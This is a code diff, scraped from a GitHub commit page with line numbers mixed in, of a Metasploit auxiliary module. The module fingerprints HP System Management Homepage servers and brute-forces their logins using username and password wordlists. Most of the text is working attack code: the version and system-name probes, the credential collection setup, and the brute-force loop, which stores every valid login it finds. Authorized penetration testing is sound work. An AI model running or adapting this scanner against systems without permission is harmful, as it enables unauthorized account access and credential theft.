4
4
##
5
5
6
6
require 'msf/core'
7
+ require 'metasploit/framework/login_scanner/smh'
7
8
8
9
class Metasploit3 < Msf ::Auxiliary
9
10
@@ -21,81 +22,172 @@ def initialize(info={})
21
22
} ,
22
23
'License' => MSF_LICENSE ,
23
24
'Author' => [ 'sinn3r' ] ,
24
- 'DefaultOptions' => { 'SSL' => true }
25
+ 'DefaultOptions' =>
26
+ {
27
+ 'SSL' => true ,
28
+ 'RPORT' => 2381 ,
29
+ 'USERPASS_FILE' => File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_userpass.txt" ) ,
30
+ 'USER_FILE' => File . join ( Msf ::Config . data_directory , "wordlists" , "unix_users.txt" ) ,
31
+ 'PASS_FILE' => File . join ( Msf ::Config . data_directory , "wordlists" , "unix_passwords.txt" )
32
+ }
25
33
) )
34
+ end
26
35
27
- register_options (
28
- [
29
- Opt ::RPORT ( 2381 ) ,
30
- OptPath . new ( 'USERPASS_FILE' , [ false , "File containing users and passwords separated by space, one pair per line" ,
31
- File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_userpass.txt" ) ] ) ,
32
- OptPath . new ( 'USER_FILE' , [ false , "File containing users, one per line" ,
33
- File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_users.txt" ) ] ) ,
34
- OptPath . new ( 'PASS_FILE' , [ false , "File containing passwords, one per line" ,
35
- File . join ( Msf ::Config . data_directory , "wordlists" , "http_default_pass.txt" ) ] ) ,
36
- ] , self . class )
36
+ def get_version ( res )
37
+ if res
38
+ return res . body . scan ( /smhversion = "HP System Management Homepage v([\d \. ]+)"/i ) . flatten [ 0 ] || ''
39
+ end
40
+
41
+ ''
42
+ end
43
+
44
+ def is_version_tested? ( version )
45
+ # As of Sep 4 2014, version 7.4 is the latest and that's the last one we've tested
46
+ if Gem ::Version . new ( version ) < Gem ::Version . new ( '7.5' )
47
+ return true
48
+ end
49
+
50
+ false
37
51
end
38
52
39
- def anonymous_access?
40
- res = send_request_raw ( { 'uri' => '/' } )
53
+ def get_system_name ( res )
54
+ if res
55
+ return res . body . scan ( /fullsystemname = "(.+)"/i ) . flatten [ 0 ] || ''
56
+ end
57
+
58
+ ''
59
+ end
60
+
61
+ def anonymous_access? ( res )
41
62
return true if res and res . body =~ /username = "hpsmh_anonymous"/
42
63
false
43
64
end
44
65
45
- def do_login ( user , pass )
46
- begin
47
- res = send_request_cgi ( {
48
- 'method' => 'POST' ,
49
- 'uri' => '/proxy/ssllogin' ,
50
- 'vars_post' => {
51
- 'redirecturl' => '' ,
52
- 'redirectquerystring' => '' ,
53
- 'user' => user ,
54
- 'password' => pass
55
- }
56
- } )
66
+ def init_loginscanner ( ip )
67
+ @cred_collection = Metasploit ::Framework ::CredentialCollection . new (
68
+ blank_passwords : datastore [ 'BLANK_PASSWORDS' ] ,
69
+ pass_file : datastore [ 'PASS_FILE' ] ,
70
+ password : datastore [ 'PASSWORD' ] ,
71
+ user_file : datastore [ 'USER_FILE' ] ,
72
+ userpass_file : datastore [ 'USERPASS_FILE' ] ,
73
+ username : datastore [ 'USERNAME' ] ,
74
+ user_as_pass : datastore [ 'USER_AS_PASS' ]
75
+ )
57
76
58
- if not res
59
- vprint_error ( "#{ peer } - Connection timed out" )
60
- return :abort
61
- end
62
- rescue ::Rex ::ConnectionError , Errno ::ECONNREFUSED
63
- vprint_error ( "#{ peer } - Failed to response" )
64
- return :abort
65
- end
77
+ @scanner = Metasploit ::Framework ::LoginScanner ::Smh . new (
78
+ host : ip ,
79
+ port : rport ,
80
+ uri : datastore [ 'URI' ] ,
81
+ proxies : datastore [ "PROXIES" ] ,
82
+ cred_details : @cred_collection ,
83
+ stop_on_success : datastore [ 'STOP_ON_SUCCESS' ] ,
84
+ connection_timeout : 5
85
+ )
86
+
87
+ @scanner . ssl = datastore [ 'SSL' ]
88
+ @scanner . ssl_version = datastore [ 'SSLVERSION' ]
89
+ end
90
+
91
+ def do_report ( ip , port , result )
92
+ service_data = {
93
+ address : ip ,
94
+ port : port ,
95
+ service_name : 'http' ,
96
+ protocol : 'tcp' ,
97
+ workspace_id : myworkspace_id
98
+ }
99
+
100
+ credential_data = {
101
+ module_fullname : self . fullname ,
102
+ origin_type : :service ,
103
+ private_data : result . credential . private ,
104
+ private_type : :password ,
105
+ username : result . credential . public ,
106
+ } . merge ( service_data )
107
+
108
+ credential_core = create_credential ( credential_data )
66
109
67
- if res . headers [ 'CpqElm-Login' ] . to_s =~ /success/
68
- print_good ( "#{ peer } - Successful login: '#{ user } :#{ pass } '" )
69
- report_auth_info ( {
70
- :host => rhost ,
71
- :port => rport ,
72
- :sname => 'https' ,
73
- :user => user ,
74
- :pass => pass ,
75
- :proof => "CpqElm-Login: #{ res . headers [ 'CpqElm-Login' ] } "
76
- } )
77
-
78
- return :next_user
110
+ login_data = {
111
+ core : credential_core ,
112
+ last_attempted_at : DateTime . now ,
113
+ status : result . status
114
+ } . merge ( service_data )
115
+
116
+ create_credential_login ( login_data )
117
+ end
118
+
119
+ def bruteforce ( ip )
120
+ @scanner . scan! do |result |
121
+ case result . status
122
+ when Metasploit ::Model ::Login ::Status ::SUCCESSFUL
123
+ print_brute :level => :good , :ip => ip , :msg => "Success: '#{ result . credential } '"
124
+ do_report ( ip , rport , result )
125
+ :next_user
126
+ when Metasploit ::Model ::Login ::Status ::UNABLE_TO_CONNECT
127
+ print_brute :level => :verror , :ip => ip , :msg => "Could not connect"
128
+ invalidate_login (
129
+ address : ip ,
130
+ port : rport ,
131
+ protocol : 'tcp' ,
132
+ public : result . credential . public ,
133
+ private : result . credential . private ,
134
+ realm_key : result . credential . realm_key ,
135
+ realm_value : result . credential . realm ,
136
+ status : result . status
137
+ )
138
+ :abort
139
+ when Metasploit ::Model ::Login ::Status ::INCORRECT
140
+ print_brute :level => :verror , :ip => ip , :msg => "Failed: '#{ result . credential } '"
141
+ invalidate_login (
142
+ address : ip ,
143
+ port : rport ,
144
+ protocol : 'tcp' ,
145
+ public : result . credential . public ,
146
+ private : result . credential . private ,
147
+ realm_key : result . credential . realm_key ,
148
+ realm_value : result . credential . realm ,
149
+ status : result . status
150
+ )
151
+ end
79
152
end
80
153
end
81
154
82
155
83
156
def run_host ( ip )
84
- if anonymous_access?
85
- print_status ( "#{ peer } - No login necessary. Server allows anonymous access." )
86
- return
157
+ res = send_request_cgi ( {
158
+ 'uri' => '/cpqlogin.htm' ,
159
+ 'method' => 'GET' ,
160
+ 'vars_get' => {
161
+ 'RedirectUrl' => '/cpqlogin' ,
162
+ 'RedirectQueryString' => ''
163
+ }
164
+ } )
165
+
166
+ version = get_version ( res )
167
+ unless version . blank?
168
+ print_status ( "#{ peer } - Version detected: #{ version } " )
169
+ unless is_version_tested? ( version )
170
+ print_warning ( "#{ peer } - You're running the module against a version we have not tested" )
171
+ end
172
+ end
173
+
174
+ sys_name = get_system_name ( res )
175
+ unless sys_name . blank?
176
+ print_status ( "#{ peer } - System name detected: #{ sys_name } " )
177
+ report_note (
178
+ :host => ip ,
179
+ :type => "system.name" ,
180
+ :data => sys_name
181
+ )
87
182
end
88
183
89
- each_user_pass { |user , pass |
90
- # Actually respect the BLANK_PASSWORDS option
91
- next if not datastore [ 'BLANK_PASSWORDS' ] and pass . blank?
184
+ if anonymous_access? ( res )
185
+ print_good ( "#{ peer } - No login necessary. Server allows anonymous access." )
186
+ return
187
+ end
92
188
93
- vprint_status ( "#{ peer } - Trying: '#{ user } :#{ pass } '" )
94
- do_login ( user , pass )
95
- }
189
+ init_loginscanner ( ip )
190
+ bruteforce ( ip )
96
191
end
97
192
end
98
193
99
- =begin
100
- Tested: v6.3.1.24 upto v7.2.1.3
101
- =end
0 commit comments